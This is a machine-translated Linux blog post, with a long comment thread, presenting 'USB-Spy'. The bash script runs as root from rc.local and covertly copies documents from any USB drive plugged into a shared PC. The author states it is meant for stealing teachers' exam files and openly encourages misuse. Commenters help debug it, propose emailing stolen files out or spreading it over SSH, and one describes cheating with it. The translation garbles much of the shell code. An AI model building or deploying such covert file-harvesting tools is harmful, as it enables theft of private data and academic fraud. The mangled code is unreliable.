Скрипт для шпигунства вмісту USB-пристроїв та копіювання його на ПК

Я завжди був неспокійним студентом, завжди хотів скористатися такими можливостями, як ... наприклад, скопіювати семестрові іспити з USB-накопичувача вчителя чи щось подібне. Коли я навчався в середній школі (спеціальність "Комп'ютер"), я хотів запрограмувати "щось", яке могло б зробити наступне:

  1. Виявити, коли пристрій USB підключено до комп’ютера в класі
  2. Скопіюйте весь вміст із цього пристрою на свій комп’ютер

Це дозволило б мені скласти іспит набагато раніше, для вчителя було б потрібно лише підключити свою USB-пам’ять (pendrive) до комп’ютера і все.

На жаль, у моєму інституті комп’ютери мали Windows і… Я ніколи і ніколи не вчився програмувати для цієї ОС.

Однак зараз я використовую Linux (очевидно, ні? LOL!), І знаючи, що за ці роки я зміг набути, тепер ТАК! Я вже можу досягти цього за допомогою Linux 😀

Тобто я запрограмував простий скрипт, який робить наступне:

1. Створіть папку /home/.USBDRIVES/
2. Кожні 5 секунд перевіряється, чи є до комп'ютера підключений USB-пристрій (або CD / DVD).
3. У разі підключення одного, він створить папку всередині /home/.USBDRIVES/ з назвою USB (наприклад: пам'ять-2gb), а також скопіює всі файли .doc, .pdf тощо (ось список) до цієї щойно створеної папки.
4. Якщо USB не підключено, він просто зачекає 5 секунд, щоб розпочати перевірку, яку я пояснив вище again

Ось сценарій і файл, що містить формати для копіювання:

Завантажте USB-Spy.zip
Сценарій повинен виконуватися як root, щоб його робота не була обмеженою. Тут я пояснюю, як цього досягти

Щоб сценарій міг працювати без проблем, найкраще, щоб він запускався з адміністративними привілеями (root), оскільки очевидно, що його потрібно запускати разом із комп’ютером, таким чином ми переконуємось, що при перезавантаженні комп’ютера або вимкнено, коли я знову запущу сценарій, він буде там працювати, готовий витягти все, що ми хочемо, з будь-якого USB 😉

Давайте відкриємо термінал ... раз відкритий ...

1. Припустимо, у нас є обидва файли / opt / (/opt/usb-spy.sh y /opt/usb-spy.files), ми повинні надати йому привілеї виконання:

sudo chmod +x /opt/usb-spy.sh

2. Відкриваємо файл /etc/rc.local :

sudo nano /etc/rc.local

3. У ньому ми пишемо над заключним рядком (вихід 0) наступний:

/opt/usb-spy.sh &

4. Тепер ми натискаємо [Ctrl] + [X], щоб зберегти та вийти з файлу, ми натискаємо [S] або [Y] (залежно від мови системи), а потім [Enter]. Цього буде достатньо, щоб внесені нами зміни були збережені.

І вуаля, цього буде достатньо, щоб сценарій запускався як root, коли ми вмикаємо комп'ютер.

Важливо перевірити, чи файл usb-spy.files знаходиться в тому ж каталозі, що і usb-spy.sh 😉

Тепер ... Я трохи пояснить внутрішню роботу сценарію, оскільки я знаю, що тут багато любителів Баша

Q: Як сценарій знає, що підключено USB-пристрій?
В: У файлі / etc / mtab нашої системи знаходяться пристрої або розділи, які встановлені в нашій системі. Через 23 рядок сценарію відомо, підключений USB чи ні (перетворення кота на mtab та grep media)
З: Так, але Звідки сценарій знає, повертає нам cat чи grep якісь дані чи ні?
A: Через a if, then, else loop який починається з рядка 24.
Q: Як змусити копіювати лише файли з потрібними розширеннями? (.doc, .pdf тощо)
Відповідь: Використовуючи rsync з різними параметрами, це в рядку 34. Просто пояснивши, за допомогою rsync я копіюю лише ті файли, які відповідають фільтру usb-spy.files, кожен рядок - це фільтр, так би мовити. Я також передаю параметр --prune-empty-dirs до rsync, щоб він не створював для мене порожніх каталогів.
До речі щось важливо. Якщо підключено USB-пристрій 8 ГБ (наприклад), все працює правильно, але я помітив, що якщо підключено пристрій набагато більшої ємності, наприклад 500 ГБ або 1 ТБ, процес пошуку файлів .doc тощо для їх копіювання на комп’ютер зайняв час довго, тому я встановив обмеження в ГБ. Тобто, у рядку 31 я заявляю, що якщо пристрій USB менше 16 ГБ, знайдіть файли та скопіюйте їх, але якщо воно більше 16 ГБ, тоді нічого не робити. Якщо ви хочете збільшити ці 16 ГБ на 32 ГБ, просто збільште це число з рядка 31

Пояснити насправді не так багато, сценарій дуже зрозумілий :)

Якщо хтось має якісь сумніви чи запитання, скарги, ідеї чи пропозиції, будь ласка, скажіть їм, і я обіцяю допомогти їм чим можу.

Ну, я думав написати щось на кшталт: «цей сценарій призначений лише для навчальних цілей, не використовуйте його зі шкідливими файлами»... Але ... який біс!, Використовуйте це для чого завгодно, пора студентам мати якусь перевагу перед викладачами, які нас гноблять op

привіт

Ви все ще можете кілька разів вдосконалити сценарій, але, це гарна старт, я думаю, якщо хтось відчує мотивацію внести свій внесок у цю "благородну" справу, це буде приємно 😀

Залиште свій коментар

Ваша електронна адреса не буде опублікований. Обов'язкові для заповнення поля позначені *

*

*

  1. Відповідальний за дані: Мігель Анхель Гатон
  2. Призначення даних: Контроль спаму, управління коментарями.
  3. Легітимація: Ваша згода
  4. Передача даних: Дані не передаватимуться третім особам, за винятком юридичних зобов’язань.
  5. Зберігання даних: База даних, розміщена в мережі Occentus Networks (ЄС)
  6. Права: Ви можете будь-коли обмежити, відновити та видалити свою інформацію.

  1.   елав - сказав він

    Обманщик ¬¬

    XDDDD

    1.    KZKG ^ Гаара - сказав він

      Ні, взагалі ... якщо ви впевнені, що колись думали зробити щось подібне ... ХАХАХА.

      1.    Іван Моліна - сказав він

        Ти врятував мене від поп-вікторини 😀 ... Тепер твій «KZKG ^ Гаара» Ти мій бог ... Хвала тобі!

    2.    Факундо - сказав він

      Привіт, дуже хороший сценарій, але в мегафайлі файл більше не існує, ви можете надіслати його на мою електронну пошту, будь ласка

  2.   Оскар - сказав він

    Linux становить 1%, і ви говорите, що ніколи не вчилися програмувати для Windows, тому навчання проводиться для системи Linux, моє запитання: яка можливість знайти викладача, який використовує Linux, щоб мати можливість проводити навчання?

    1.    KZKG ^ Гаара - сказав він

      Цей сценарій або фокус "впроваджується" на комп’ютері, який не обов’язково повинен бути персональним чи власним професором, досить, щоб це був будь-який комп’ютер університету чи коледжу, тоді це можна було б досягти лише за допомогою X чи Y, що професор підключає USB на цьому комп’ютері.

      Так, це для Linux, але багато університетів використовують Linux як систему в комп’ютерних лабораторіях, а також завантаження з LiveCD і не обов’язкову інсталяцію Linux на ПК 🙂

      Про 1% рекомендую прочитати цю публікацію: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Хюга_Неджі - сказав він

      Можливість гігантського метеориту впасти в Атлантиці приблизно за 30 хв

  3.   Добродушна жарт - сказав він

    Це виглядає цікаво, доведеться спробувати.
    Грекіас

    1.    KZKG ^ Гаара - сказав він

      Утиліта, яку вона має, не є чудовою річчю, але сценарій як такий цікавий ... адже ви можете навчитися з неї декількох порад, наприклад, як дізнатись підключений USB, розмір розділів тощо 🙂

  4.   cr0t0 - сказав він

    Оригінальна і дуже добре пояснена стаття KZKG ^ Гаара. Ура!

    1.    KZKG ^ Гаара - сказав він

      Дякую

  5.   Оскар - сказав він

    Яка зухвалість !!!, і ви наважуєтесь написати це в блозі ОО, я не знаю, що думати, може, хтось, хто його не любить, добре зламав Гаару?

    1.    KZKG ^ Гаара - сказав він

      нахабство? чому?
      Хоча мета або мотив сценарію можуть бути не такими серйозними, як решта моїх внесків, я думаю, що сценарій, його рядки та логіка програмування мають багато внести.

      Ви можете скористатися кількома речами цього сценарію:
      1. Як дізнатись розмір розділу та що це змінна.
      2. Як перевірити, чи підключений USB, та витягти його шлях та назву.
      3. петлі if-then-else і while.

      У будь-якому випадку, я не думаю, що це абсолютно марно чи щось подібне.

      1.    Оскар - сказав він

        Я думаю, ви неправильно інтерпретуєте мій коментар, я маю на увазі на початку вашої статті,
        "Я завжди був неспокійним студентом, завжди хотів скористатися такими можливостями, як ... наприклад, скопіювати семестрові іспити з ручки вчителя або щось подібне". Якщо те, що я кажу, турбує вас, сподіваюся, ви мене вибачите, це не був мій намір.

        1.    Блер Паскаль - сказав він

          oО який чудовий блог, хороші статті, хороші читачі, користувачі просять вибачення ... це рай, ха-ха, без тролів.

          1.    KZKG ^ Гаара - сказав він

            Грекіас ^ - ^
            Ми пишаємось тим, чого досягли за цей час, ця спільнота по-справжньому пишається ... чудово бути частиною всього цього 😀

        2.    KZKG ^ Гаара - сказав він

          Ні ні, не зовсім, я насправді взагалі не турбувався xD
          І так хе-хе це була моя помилка, якщо я неправильно інтерпретував ваш коментар хе-хе, вибачте за це 😉

          Нічого, що вибачення приходять від мене зараз, мені доведеться помити обличчя, щоб побачити, чи не прокинусь це ... з того, що я бачу, я все ще не на 100% ХАХАХА.

          Привіт друг 🙂

        3.    Оскар - сказав він

          Дуже прекрасна людина xD

  6.   Неоміто - сказав він

    Я хотів би, щоб мої комп'ютери в коледжі мали Linux мухахаджаджа.

  7.   GGGG1234 - сказав він

    Гарна стаття!
    Але тому, хто хоче наслідувати це в Windows, буде простіше, тому що там, де у вас немає рут-доступу на машині, яку ви хочете використовувати, ви не можете залишити його "назавжди". З Windows це не відбувається 😉

  8.   Блер Паскаль - сказав він

    Дуже добре хе-хе.

  9.   Хюга_Неджі - сказав він

    Ідея хороша, вона має лише слабкість у тому, щоб використовувати права Root

    1.    KZKG ^ Гаара - сказав він

      Ну насправді вам не потрібно бути рутом як таким ... якщо ви заявите сценарію, що папка НЕ ​​буде /home/.USBDRIVES, як я це висловив, і в ньому написано, наприклад: /home/usuario/.USBDRIVES ..., а потім виконати сценарію з "користувачем" буде достатньо 😀

  10.   Еміліо - сказав він

    Це гарна ідея, але я думаю, ви заощадите, змінюючи rc.local і запускаючи його щохвилини, використовуючи crontab, і таким чином уникнете проблеми запуску його як root і решти, з іншого боку, навіть якщо це мало впливає, ви марно споживаєте пам'ять ПК кожні 5 секунд, щоб перевірити, чи є usb, навіть коли це не так. Ну це моя точка зору

    1.    KZKG ^ Гаара - сказав він

      Я маю на увазі, робити перевірку кожну 1 хвилину, так? Я зробив це не так, тому що ... що, якщо USB підключається та відключається менш ніж за 1 хвилину? 😀

      Я вважав за краще робити це кожні 5 секунд, щоб переконатися, що справді "захопив" усі USB-накопичувачі 😉

      Якщо я вас неправильно зрозумів, будь ласка, виправте мене 🙂

      Привітання та ласкаво просимо.

      1.    Еміліо - сказав він

        Так, виконуйте перевірку щохвилини через cron, але добре, кожен з них по-різному бачить проблему, не більше ніж перегляд коду, не було б краще перевірити, чи вже існує папка /home/.USBDRIVES, перш ніж її створювати , є пропозицією більше нічого

        привіт

        1.    KZKG ^ Гаара - сказав він

          Так само, це деталь, яку я помітив, але ... мені було лінь вирішити це LOL!

          Так само я міг би розмістити журнал, де відображаються скопійовані файли (окремий журнал для кожного пристрою), можливо, навіть надіслати цей журнал електронною поштою (використовуючи якийсь спосіб надсилання електронного листа за допомогою терміналу з тих, які я розмістив тут на сайті) ... але, як я вже казав тобі, я трохи лінивий ^ - ^ U

  11.   Павлоко - сказав він

    Ха-ха-ха-ха чудово.

  12.   гексборг - сказав він

    Ага! Отже, ваше програмне забезпечення можна використовувати для зла. ЛОЛ!!! 🙂

    Фокус чудовий, але ... що, якщо ви хочете відключити USB до того, як сценарій закінчить копіювати його вміст? У такому випадку він буде скаржитися, що він використовується, і буде помічено, що щось не так. 🙂

    1.    KZKG ^ Гаара - сказав він

      Насправді система не дозволить відключити USB, оскільки "щось" буде ним користуватися 😉

      1.    гексборг - сказав він

        Точно! І саме тоді професор Оскара вважає, що знайшов вірус Linux. ЛОЛ!! 🙂

  13.   Оскар - сказав він

    Ви змусили мене одного разу згадати, що я робив щось подібне (на своєму Uni, якщо у нас був linux / windows), але я створив програму на С, яка генерувала тисячі папок. Я оббив USB для хлопця, який підключив його. Менеджер комп’ютерного центру був вражений! Він думав, що знайшов вірус у linuxx muajajajaja ... аааа .. які часи це були =)

    1.    Мігел - сказав він

      і в чому різниця з вірусом?

      1.    Оскар - сказав він

        Що я віддалено дістався до його USB і запустив програму 😛

        1.    Мігел - сказав він

          ха-ха-ха-ха, так це був хак XD

    2.    KZKG ^ Гаара - сказав він

      😀
      хе-хе-хе-хе, отже, ви знайшли вірус в Linux, так? … ЛОЛ!!

  14.   Семпроми - сказав він

    Це просто не працює для мене xD, якщо я спробую запустити його з терміналу, він повідомляє мені це: ./usb-spy.sh: рядок 31: [: -lt: очікується унарний оператор
    З цим рядком щось не так: if [$ USBSIZE -lt 15664800]; тоді
    Але я не знаю, що це, оскільки він також не створює каталог .USB.

    Якщо це вдається вирішити, я можу знайти корисний сценарій.

    1.    гексборг - сказав він

      Спробуйте замінити df на / bin / df і не забудьте запустити його як root.

      1.    Семпроми - сказав він

        Гаразд, тепер, якщо він створює папку .USB всередині домашнього каталогу, але він постійно повідомляє мені через термінал, що: "./usb-spy.sh: рядок 31: [: -lt: унарний оператор очікується", і він не копіює нічого, у цьому рядку має бути якийсь конфлікт, я ціную допомогу, якщо хтось це бачить.
        Велике спасибі.

        1.    гексборг - сказав він

          Чи можете ви дати нам вміст вашого файлу / etc / mtab, коли підключений USB?

          1.    Семпроми - сказав він

            Звичайно, тут йдеться:

            / dev / sda12 / ext4 rw, помилки = remount-ro 0 0
            proc / proc proc rw, noexec, nosuid, nodev 0 0
            sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
            немає / sys / fs / запобіжник / з'єднання fusectl rw 0 0
            none / sys / kernel / debugfs debugfs rw 0 0
            none / sys / kernel / security securityfs rw 0 0
            udev / dev devtmpfs rw, режим = 0755 0 0
            devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, mode = 0620 0 0
            tmpfs / запустити tmpfs rw, noexec, nosuid, розмір = 10%, режим = 0755 0 0
            немає / запустити / заблокувати tmpfs rw, noexec, nosuid, nodev, size = 5242880 0 0
            none / run / shm tmpfs rw, nosuid, nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $

            Останні рядки - це підключені USB / dev / sdb1

          2.    гексборг - сказав він

            Давайте подивимось, чи отримали ми це. 🙂

            Дайте нам результат команди df. І спробуйте додати рядок:

            echo $ USBSIZE

            Прямо перед тим, якщо це створює проблему, і повідомте нам, що виходить при запуску сценарію. Це повинно виглядати так:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'надрукувати $ 2'} `
            echo $ USBSIZE
            якщо [$ USBSIZE -lt 15664800]; тоді

            І про всяк випадок також розкажіть нам, який результат має команда df.

            1.    Семпроми - сказав він

              Гаразд, по частинах команда df повертає мені це:

              Файлова система 1K-блоки, що використовуються Доступне Використання% Встановлено
              / dev / sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% / розроб
              tmpfs 805768 1180 804588 1% / пробіг
              немає 5120 0 5120 0% / запуск / блокування
              немає 2014420 92 2014328 1 XNUMX XNUMX% / пробіг / шм
              / dev / sdb1 1023200 322256 700944 32% / media / DOCU 3

              Команда, яка повертає мені df: / bin / df

              Потім я поклав ехо $ USBSIZE, і результат той самий, він не друкує нічого нового, але помилка раніше, найцікавіше, що це відбувається з USB, який я тестую, якщо я поклав зовнішній жорсткий диск на 500 Гб Так, він повертає розмір диска на екрані, але 500 перевищує 16 із if, тому з жорстким диском він нічого не робить.

              Але з USB це не робить нічого, крім показу помилки: ./usb-spy.sh: рядок 34: [: -lt: очікується одинарний оператор
              Начебто він не міг показати розмір USB, але за допомогою команди df я отримую його розмір.

              Дякуємо за допомогу, подивимось, чи зможемо ми її отримати!


            2.    Семпроми - сказав він

              Якщо команда не виглядала добре тут, я залишаю скріншот: http://i48.tinypic.com/j5dvn5.jpg


          3.    гексборг - сказав він

            Я бачу, що у mtab шлях, де він, як видається, встановлений, є «/ media / DOCU403», тоді як у df він з’являється «/ media / DOCU 3». Це змушує grep не знаходити його і не повертає розмір. Спробуйте змінити перші рядки for, щоб вони мали такий вигляд:

            для USBD в `cat / etc / mtab | grep media | awk '{print $ 1}' '';
            do
            USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
            USBSIZE = `/ bin / df | grep $ USBD | awk {'надрукувати $ 2'} `

            Зміни полягають у зміні назви змінної for на USBD, зміні $ 2 в кінці рядка for на $ 1, вставці рядка, що починається з USBDEV відразу після виконання, та зміні USBDEV на USBD у рядку, який починається з USBSIZE… Сподіваюсь, я не возився. 🙂

            Ідея полягає в тому, щоб робити for за назвою пристрою, а не за точкою монтування.

            1.    KZKG ^ Гаара - сказав він

              Проблема полягала в тому, що в mtab, коли пристрій має пробіли ... він ставить на рядок деякі "дивні" символи, зокрема на місці пробілу.

              Нічого, настільки простого вирішення, як зміна способу позначення $ USBDEV, у рядку 28 не змінити і поставити так:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              😀


          4.    Афій - сказав він

            Дозвольте подивитися, чи можу я вам допомогти ...

            Унарний оператор показує його, оскільки він не визначає розмір диска, це трапляється тому, що він не перевіряє його, це відбувається тому, що він викликається

            ДОКУМЕНТ 3

            і приймає це як два значення, якби це був DOCU, це не відкривало б проблеми

            Можливо, це підійде вам

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Вітаю 🙂

            1.    Семпроми - сказав він

              Насправді в цьому проблема, тому що я щойно пробував з іншими USB, у яких є ім'я зі словом без пробілів, приклад "класи" і сценарій працює без проблем, тому він розпізнав жорсткий диск, а не спогади, але зараз все є Знаючи, як я ставлю лапки в коді сценарію, чи повинен я ставити їх у "$ USBNAME"?

              Велика подяка Атею та Гексборгу за допомогу, це майже зроблено.


          5.    KZKG ^ Гаара - сказав він

            Власне Семпроми це дуже просто виправити 😉
            Рядок 28 ... змініть його на такий:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Я щойно провів тестування з цією зміною, і він чудово працює з пристроями, на етикетці / назві яких є пробіл :)

            Зараз я внесу зміни до сценарію для завантаження.

          6.    гексборг - сказав він

            Дуже добре. Тож це легко виправити. 🙂

  15.   auroszx - сказав він

    Ох, дуже винахідливо 😀 Я візьму до уваги, якщо мені потрібно ...

  16.   Семпроми - сказав він

    KZKG ^ Гаара, з таким розташуванням він працює ідеально, тепер, якщо я скопіюю USB із пробілом у назві, дякую всім за допомогу, я спробую перевірити, чи зможу я запустити його при завантаженні системи і таким чином Перевіряйте кожен цикл, чи підключений USB.

    Врешті-решт ми досягли цього xD.

    1.    KZKG ^ Гаара - сказав він

      ^ - ^ ... приємно хе-хе.
      Проблема полягала в тому, що я використовував mtab для розпізнавання USB, я міг просто використати df ... Я використовував mtab, тому що вважав, що було б цікаво пояснити їм цей файл, щоб вони його знали, але я не передбачав, що ця помилка трапиться з пристроями з пробілами, ха-ха.

      Будь-які питання чи проблеми, які ви залишаєте сказаними, майже всі тут люблять допомагати xD

      привіт

    2.    гексборг - сказав він

      Звичайно. Ми лінуксатори. Ми це завжди отримуємо. XD.

  17.   Єретик - сказав він

    Встановіть демон на ПК вчителя, який генерує запис усіх файлів .doc, .docx, .odt, .pdf та надсилає їх вам поштою. Окрім того, що періодично скануємо ПК у пошуках змін, нових файлів або видалень у згаданому реєстрі, і будь-які новини також надсилатимуть вам модифікований або новий файл поштою.

  18.   Єретик - сказав він

    Подібним чином, я думаю, що більше, ніж розкрадання, виконання цього сценарію (І ЯК КОРЕНЬ !!!!) - це самогубство. Ви робите життя та речі на 700% простішими для всіх, хто бажає вставити файл на свій ПК із root-правами та іншим. Пам'ятайте, що розширення не існують в Linux, і що .doc в Linux може бути таким самим, як текст, відео чи, що ще гірше, сценарій (на цей раз з дуже поганими намірами).

    1.    KZKG ^ Гаара - сказав він

      Запускати його як root не зовсім потрібно, просто визначте папку, куди буде десь розміщений вміст, щоб запущений користувач мав дозволи на запис (наприклад, власний дім) і все 🙂

      Про небезпечні файли ... ну, ви можете додати кілька рядків, які б chmod -x, до всіх файлів, тим самим втрачаючи властивість виконання.

      1.    Семпроми - сказав він

        Я додав ці рядки на початку, щоб видалити папку .USBDRIVES, якщо вона вже була створена:

        якщо [-s $ PLACE]
        тоді rm -r $ PLACE
        fi

        Таким чином, це не призведе до помилки «вже існуючого каталогу», тобто якщо вам потрібно бути обережним, щоб у папці .USBDRIVES не було нічого, чого ми не хочемо видаляти, оскільки він видалить його і поставить на його місце інший.

  19.   Данило - сказав він

    Щоб додати нові формати файлів, просто напишіть їх на usb-spy? наприклад .jpg .mp3 тощо.

    1.    KZKG ^ Гаара - сказав він

      Щоб додати нові типи файлів, ви поміщаєте його у файл usb-spy.files
      Подивіться на вміст файлу, і ви побачите, як їх додати, це досить просто 😉

  20.   Вульмер Болівар - сказав він

    Якщо ми знаходимося в одній мережі, і є машина викладача, цікавим було б зробити мережеве картографування, ми можемо мати ssh на машинах і таким чином розповсюджувати код на лабораторних машинах або навіть на машині вчителя ... . Це дає мені дуже багато ідей: $

  21.   ксилер - сказав він

    Привіт, я вітаю вас з дописом і всіма вашими внесками, але у мене є запитання, чи хтось може вирішити цю проблему:

    Я тестував ваш сценарій на ПК за допомогою Ubuntu 12.04LTS (з Unity), і він працював бездоганно, але як я побачив, що цей скрипт перестав виконуватися після першого запуску, оскільки папка .USBDRIVES вже була створена, Я вирішив безпосередньо використовувати цей інший сценарій вашого авторства, який був розміщений в іншій частині цього форуму

    тут я копіюю сценарій, щоб ви могли знайти себе

    #! / бін / баш
    #
    # - * - КОДУВАННЯ: UTF-8 - * -
    # Ця програма є безкоштовним програмним забезпеченням. Ви можете розподілити його та / або
    # модифікуйте його на умовах Загальної публічної ліцензії
    GNU #, опублікований Фондом вільного програмного забезпечення,
    # версія 2 зазначеної ліцензії або (залежно від вашого
    # вибір) будь-якої пізнішої версії.
    #
    # Якщо ви внесли будь-які зміни в цю програму,
    # завжди повинен згадувати оригінального автора цього самого.
    #
    #Copyleft 2012, DesdeLinux.net {Гавана, Куба}.
    # Автор: KZKG ^ Гаара

    В той час, як = 0

    в той час як [$ CONTROL = 0]; робити
    cat / etc / mtab | grep media >> / dev / null
    якщо [$? -не 0]; тоді
    ЛІЧИЛЬНИК = 0
    ще
    ЛІЧИЛЬНИК = 1
    : $ {USBDEV: = `cat / etc / mtab | grep media | awk '{print $ 2}' `` / »}
    cp $ USBDEV / * / home /
    fi
    sleep 5
    зроблений

    вихід 0

    Тема полягає в наступному в ubuntu12.04 lts єдність, що останній сценарій працює нормально і працює, але коли я зважаю на той самий ПК з причини "x" і намагаюся змусити його працювати в ubuntu 10.10 ні, я можу змусити його працювати
    З одного боку, він видає помилку, і він не зчитує накопичувачі пера, які мають складне ім'я, наприклад: DATA-G, і не копіює файли, що мають складне ім'я. Окрім цієї проблеми, у мене проблема, що сценарій виконується лише тоді, коли ПК перезавантажується один раз.

    Питання полягало б у тому, як я можу змусити цей сценарій копіювати мої накопичувачі та файли зі складеними іменами
    і якщо я використовую crontab або я можу запланувати його роботу в певний час

    Інша деталь, в Ubuntu 10.10, оскільки він використовує Gnome, я хотів би додати деякі обмеження, щоб врахувати, коли, надаючи привілеї виконання скрипту, він повинен знаходитися в /etc/init.d, а не в / etc /
    (Візьміть до уваги, що ви повинні вставити його туди, що надходить з терміналу разом із sudo nautilus)

    З іншого боку, іншим виміром буде те, що після вставки туди, щоб перевірити, чи можна його виконати, це потрібно зробити в іншому терміналі

    sudo su (бути коренем)
    пароль

    ls

    cd / etc / init.d

    ls -l

    і там ми стрибаємо, працює він чи ні

    потім в тому самому терміналі або в іншому терміналі в інший час, будучи кореневою системою та перебуваючи в etc / init.d (тобто до етапу cd / etc / init.d), як і в попередньому терміналі, ми продовжуємо, як зазначено нижче, щоб надати йому дозволи виконання

    sudo chmod + x script.sh

    оновлення -rc.d script.sh за замовчуванням 80

    перезавантажувати

    Повторюю, це так, що він автоматично виконується в Ubuntu 10.10, якщо це інша версія, як 12.04, ви повинні робити те, що каже KZKG ^ Гаара

    І останнє запитання: як я хочу скопіювати вміст (до 3 підпапок pendrive) додому або до прихованої домашньої папки чи ні, припустимо, це було .USBDRIVES
    в коді я б не сказав

    cp -r /media/*/*/*/home/.USBDRIVES/*

    Коротше кажучи, щоб отримати те, що я хочу, як повинен залишатися сценарій?
    тому що я вже намагався змінити рядок, який вони змінили, на usb-spy sh, але на той інший, який записує безпосередньо вдома і видає мені помилку в зміненому рядку.? З повагою. Дякую

  22.   Какаші - сказав він

    Я не можу завантажити другий сценарій

  23.   металус - сказав він

    Дуже добре. 😉

  24.   Камалеон - сказав він

    І якщо я не виконаю вкладені вами дії, що станеться? Чи не він працює, або просто працює, але без кореня? Якщо комп’ютери мають систему, яка, скажімо, відновлює всю внутрішню конфігурацію комп’ютера під час вимкнення, чи спрацює вона? Дякую.

    1.    KZKG ^ Гаара - сказав він

      Якщо у системі є щось, що за замовчуванням є папкою / home /, тоді вам слід змінити сценарій, де він говорить / home / змінити його на / opt / або іншу папку, на яку це не впливає.

  25.   гамбі - сказав він

    Я думаю, що для вдосконалення сценарію та уникнення вторгнення в систему pendrive оптимальним буде встановлення пріоритетів щодо типу та розміру файлу. Наприклад, залиште остаточно великі файли розміром 100 мегабайт або більше. Або спершу скопіюйте файли doc, docx, txt, pdf, xml, ... тощо тощо тощо і залиште файли avi, mp4, mkv на останнє ...

  26.   Лукас - сказав він

    Привіт, ідея хороша. Я хотів задати два запитання:
    - Чи можна це зробити навпаки? створити скрипт для мандрівника, який підключається до будь-якої машини та витягує файли.
    - працює для ОС Windows?

    1.    KZKG ^ Гаара - сказав він

      Привіт

      Я не впевнений, як це можна було зробити, щоб при підключенні pendrive той самий pendrive виконував сценарій, який він має всередині.

      І ні, цей сценарій не працює для Windows 🙂

      1.    LUCAS - сказав він

        Добре, дякую, що відповіли мені, я досліджу, як це зробити

  27.   Хосе Даміан Базага Руїс - сказав він

    Який хороший сценарій. Я аналізував це, і це здається мені дивовижним, сподіваюся, одного разу я міг би також зробити такі практичні сценарії.

  28.   Хосе - сказав він

    Чудовий внесок, хоча утиліта, яку я дам їй, не зовсім така, для якої ви її підняли, якщо я використовую її для резервного копіювання файлів групи користувачів, неправомірних дій, які я маю ... хе-хе-хе ....

  29.   окутати - сказав він

    при спробі запустити це дає мені такий рядок помилки 31: [: занадто багато аргументів
    видаліть цей рядок, щоб побачити, чи він працював. і виявляється, що саме лінія обмежує розмір пристроїв.
    при видаленні копіює те, що є в моїх змонтованих розділах 🙁

  30.   Валенте - сказав він

    Привіт, я новачок, і я знаю, що горщик старий, але мені він дуже сподобався, ваш сценарій дуже навчальний

    Дякуємо, що поділилися ним та детально пояснили ...

    Вітаю

  31.   долтрокс - сказав він

    Друже, ти врятував мене, досить було відволікти вчителя і ввести usb до мого ноутбука, а потім ха-ха-хаай склав іспит та нотатки від усіх-ха-ха

    1.    oetam222 - сказав він

      Не могли б ви передати мені сценарій, посилання недоступне

    2.    oetam222 - сказав він

      Ви можете передати мені сценарій, посилання якого недоступне

  32.   Worm2D2 - сказав він

    kzkggaara, ти не міг би повторно завантажити файли? посилання вниз: /, велике спасибі

  33.   бастіан - сказав він

    Чи можете ви завантажити посилання, будь ласка?

  34.   necr0 - сказав він

    чує! дядьку! ви впали похвали, ви могли б підняти їх знову!
    ГАРАЗД! : v

  35.   necr0 - сказав він

    ну, я роблю це ще раз, бо не знаю, чи завантажено те, що я хотів сказати….

    добре, що у вас є посилання вниз, ви можете завантажити їх!

  36.   Рлорау - сказав він

    Посилання недоступні !!!

  37.   Developer24 - сказав він

    Повторно надішліть посилання, будь ласка @usemoslinux Я розслідую цю тему, дякую!

  38.   Анонімний - сказав він

    Сценарій можна завантажити звідси. Я думаю, це те саме

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   Джон - сказав він

    Ну гаразд….

    З моєї скромної точки зору я вважаю, що це чудова стаття, і якщо є люди, які кажуть, що ви шахрай, то я думаю, що це відповідає меті, для якої ви використовуєте програму.
    Мені особисто більше сподобалось знання мови програмування для Linux, оскільки я працював лише в Java, дякую, товаришу, ти викликав у мене інтерес дізнатись більше про мову для Linux.

    Я дякую вам.

  40.   Гекорат - сказав він

    Привіт друзі, тому що я знайшов інший спосіб використовувати цей сценарій - це зробити резервну копію, я трохи поговорю з вами. У мене є два пристрої, камера та hdd, я хочу, щоб замість записування файлів локальні файли зберігали їх на зовнішньому hdd від камери до hdd, але це видає мені помилку, яка говорить "занадто багато аргументів", не могли б ви мені допомогти

  41.   ЛЮІС ГЕРАРДО ПОЛАНКО ВЕРА - сказав він

    Він працює лише з пристроями з операційними системами Linux?

  42.   Тестування - сказав він

    Хтось підніміть, будь ласка!

  43.   Газлен - сказав він

    Привіт, у мене немає Linux, і в моїй школі вони використовують Windows, я використовував програму захоплення usb і копіюю лише 5 файлів з пам'яті вчителя, я підозрюю, що usb має захист, тому що те ж саме сталося двічі, буде інший спосіб щоб відняти повну інформацію з цього usb?

  44.   Заракі - сказав він

    Ідіть, якщо ви кажете, що код буде простим, тому що здається дуже цікавим побачити, як працюють методи, щоб перевірити, підключений USB або розмір розділу. Шкода, що вони видалили скрипт mega.nz, чи можете ви завантажити його ще раз?

    Привітання та чудова робота, проста, але функціональна навіть для автоматизації копій з USB !!!

  45.   перерви - сказав він

    Добре!
    Я щойно увійшов у ваш допис у блозі, і мені справді цікаво. Що трапляється, коли ви надаєте файл .zip, який перенаправляє вас на мегафайл, це означає, що файл більше не доступний.
    Мені було цікаво, чи можете ви надіслати мені ті файли, які слід завантажити.
    Щиро дякую та вітаю!

  46.   Альфредо Перейра - сказав він

    З роками технології мають звичку зменшуватися в розмірах. І це сталося в неймовірній мірі з твердотільними накопичувачами (SSD). Тепер ви можете отримати їх такого ж розміру, що і найшвидші флешки.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a - сказав він

    Ви можете надіслати мені файл або завантажити його ще раз? Виходить, що не можна завантажити